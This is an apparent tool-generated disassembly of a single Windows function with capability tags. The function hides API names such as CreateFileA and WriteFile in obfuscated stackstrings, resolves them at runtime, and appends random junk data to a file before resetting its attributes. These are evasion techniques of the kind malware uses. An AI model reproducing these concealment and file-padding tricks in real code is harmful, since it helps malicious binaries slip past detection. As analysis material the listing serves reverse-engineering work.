Function at 0x10012cb0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x44c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetFileAttributesA
push str.KERNEL32.dll
mov dword [esp + 0x54], eax
call esi
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov dword [esp + 0x50], eax
call esi
push eax
call edi
mov dword [esp + 0x54], eax
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x38]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
push eax
call edi
mov ebp, eax
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], 0
mov byte [esp + 0x10], 0x57
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x74
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], 0x46
mov byte [esp + 0x16], 0x69
mov byte [esp + 0x17], 0x6c
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], 0
lea edx, [esp + 0x10]
lea eax, [esp + 0x28]
push edx
push eax
call esi
push eax
call edi
mov ecx, dword [esp + 0x460]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x74], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10012edd
push 2
push 0
push 0
push ebx
call dword [esp + 0x64]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x50], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x10012ebf
mov edx, edi
and edx, 0x800003ff
jns 0x10012e83
dec edx
or edx, 0xfffffc00
inc edx
jne 0x10012ea4
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x5b], dl
jl 0x10012e87
lea edx, [esp + 0x50]
push 0
push edx
lea eax, [esp + 0x64]
push 0x400
push eax
push ebx
call dword [esp + 0x6c]
inc edi
cmp edi, ebp
jl 0x10012e71
push ebx
call dword [esp + 0x50]
mov ecx, dword [0x1001e848]
mov edx, dword [esp + 0x460]
and ecx, 0xffff
push ecx
push edx
call dword [esp + 0x50]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44c
ret